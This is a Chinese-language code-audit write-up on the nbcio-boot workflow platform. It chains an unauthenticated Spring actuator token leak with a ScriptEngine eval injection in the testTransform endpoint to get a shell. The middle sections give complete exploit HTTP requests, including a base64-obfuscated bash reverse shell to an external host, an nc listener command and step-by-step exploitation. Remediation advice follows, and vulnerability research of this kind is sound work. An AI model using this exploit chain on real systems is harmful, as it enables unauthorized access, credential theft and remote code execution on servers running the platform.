代码审计之nbcio-boot从信息泄露到Getshell
字数 1089 2025-08-19 12:41:28

NBCIO-Boot 从信息泄露到Getshell漏洞分析与利用

一、项目简介

NBCIO 亿事达企业管理平台是基于以下技术栈的开源工作流开发平台:

  • 后端框架:jeecgboot 3.0
  • 工作流引擎:flowable 6.7.2
  • 主要功能:流程设计、流程管理、流程执行、任务办理、流程监控
  • 附加功能:聊天功能、大屏设计器、网盘功能、项目管理

项目地址:https://gitee.com/nbacheng/nbcio-boot

二、环境搭建

  1. 修改配置文件中的MySQL和Redis连接信息
  2. 启动项目即可正常运行

三、未授权访问漏洞分析

漏洞位置

org/jeecg/config/shiro/ShiroConfig.java:156

漏洞详情

在ShiroConfig配置类中,错误地放开了actuator接口的未授权访问:

// ShiroConfig.java中的配置
// 放行了/actuator/**路径的访问权限

利用方式

直接访问/actuator/httptrace接口可以免认证获取管理员的token信息:

GET /nbcio-boot/actuator/httptrace HTTP/1.1
Host: target.com

四、远程代码执行(RCE)漏洞分析

漏洞位置

com/nbcio/modules/estar/bs/service/impl/DataSetParamServiceImpl.java:99

漏洞详情

  1. 代码中直接调用了ScriptEngine的eval方法,未做任何安全处理
  2. 通过参数注入可以实现任意Java代码执行

漏洞触发路径

  1. 反向跟踪发现漏洞位于/testTransform接口
  2. 前端触发点为"测试预览"功能

漏洞验证POC

POST /nbcio-boot/bs/bsDataSet/testTransform HTTP/1.1
Host: target.com
Content-Type: application/json;charset=UTF-8
X-Access-Token: [获取的管理员token]

{
  "sourceCode":"mysql",
  "dynSentence":"select * from bs_report_barstack",
  "dataSetParamDtoList":[
    {
      "paramName":"",
      "paramDesc":"",
      "paramType":"",
      "sampleItem":"",
      "mandatory":true,
      "requiredFlag":1,
      "validationRules":"java.lang.Runtime.getRuntime().exec('calc');"
    }
  ],
  "dataSetTransformDtoList":[
    {
      "transformType":"js",
      "transformScript":""
    }
  ],
  "setType":"sql"
}

五、完整漏洞利用实战

步骤1:获取管理员认证信息

GET /nbcio-boot/actuator/httptrace HTTP/1.1
Host: target.com

从响应中提取X-Access-Token字段的值。

步骤2:准备反弹Shell监听

在Kali Linux上执行:

nc -lvnp 7777

步骤3:构造并发送反弹Shell的POC

POST /nbcio-boot/bs/bsDataSet/testTransform HTTP/1.1
Host: target.com
Content-Type: application/json;charset=UTF-8
X-Access-Token: [获取的管理员token]

{
  "sourceCode":"mysql",
  "dynSentence":"select * from bs_report_barstack",
  "dataSetParamDtoList":[
    {
      "paramName":"",
      "paramDesc":"",
      "paramType":"",
      "sampleItem":"",
      "mandatory":true,
      "requiredFlag":1,
      "validationRules":"java.lang.Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaT4mIC9kZXYvdGNwLzZ2NzI4NzAyZjYuemljcC5mdW4vNTMyNjcgMD4mMQ==}|{base64,-d}|{bash,-i}\");"
    }
  ],
  "dataSetTransformDtoList":[
    {
      "transformType":"js",
      "transformScript":""
    }
  ],
  "setType":"sql"
}

其中YmFzaCAtaT4mIC9kZXYvdGNwLzZ2NzI4NzAyZjYuemljcC5mdW4vNTMyNjcgMD4mMQ==是base64编码的反弹shell命令:

bash -i >& /dev/tcp/6v728702f6.zicp.fun/53267 0>&1

步骤4:获取Shell

成功执行后,攻击机的nc监听端口将获得目标系统的shell权限。

六、漏洞修复建议

  1. Actuator接口访问控制

    • 限制/actuator接口的访问权限
    • 配置身份验证和授权
  2. ScriptEngine安全使用

    • 避免直接执行用户输入的代码
    • 使用白名单限制可执行的操作
    • 实现沙箱环境隔离
  3. 输入验证

    • 对所有输入参数进行严格验证
    • 过滤特殊字符和危险操作
  4. 最小权限原则

    • 应用程序应使用最小必要权限运行
    • 限制系统命令执行能力
  5. 安全审计

    • 定期进行代码安全审计
    • 使用静态代码分析工具检测潜在漏洞
NBCIO-Boot 从信息泄露到Getshell漏洞分析与利用 一、项目简介 NBCIO 亿事达企业管理平台是基于以下技术栈的开源工作流开发平台: 后端框架:jeecgboot 3.0 工作流引擎:flowable 6.7.2 主要功能:流程设计、流程管理、流程执行、任务办理、流程监控 附加功能:聊天功能、大屏设计器、网盘功能、项目管理 项目地址:https://gitee.com/nbacheng/nbcio-boot 二、环境搭建 修改配置文件中的MySQL和Redis连接信息 启动项目即可正常运行 三、未授权访问漏洞分析 漏洞位置 org/jeecg/config/shiro/ShiroConfig.java:156 漏洞详情 在ShiroConfig配置类中,错误地放开了actuator接口的未授权访问: 利用方式 直接访问 /actuator/httptrace 接口可以免认证获取管理员的token信息: 四、远程代码执行(RCE)漏洞分析 漏洞位置 com/nbcio/modules/estar/bs/service/impl/DataSetParamServiceImpl.java:99 漏洞详情 代码中直接调用了ScriptEngine的eval方法,未做任何安全处理 通过参数注入可以实现任意Java代码执行 漏洞触发路径 反向跟踪发现漏洞位于 /testTransform 接口 前端触发点为"测试预览"功能 漏洞验证POC 五、完整漏洞利用实战 步骤1:获取管理员认证信息 从响应中提取X-Access-Token字段的值。 步骤2:准备反弹Shell监听 在Kali Linux上执行: 步骤3:构造并发送反弹Shell的POC 其中 YmFzaCAtaT4mIC9kZXYvdGNwLzZ2NzI4NzAyZjYuemljcC5mdW4vNTMyNjcgMD4mMQ== 是base64编码的反弹shell命令: 步骤4:获取Shell 成功执行后,攻击机的nc监听端口将获得目标系统的shell权限。 六、漏洞修复建议 Actuator接口访问控制 : 限制/actuator接口的访问权限 配置身份验证和授权 ScriptEngine安全使用 : 避免直接执行用户输入的代码 使用白名单限制可执行的操作 实现沙箱环境隔离 输入验证 : 对所有输入参数进行严格验证 过滤特殊字符和危险操作 最小权限原则 : 应用程序应使用最小必要权限运行 限制系统命令执行能力 安全审计 : 定期进行代码安全审计 使用静态代码分析工具检测潜在漏洞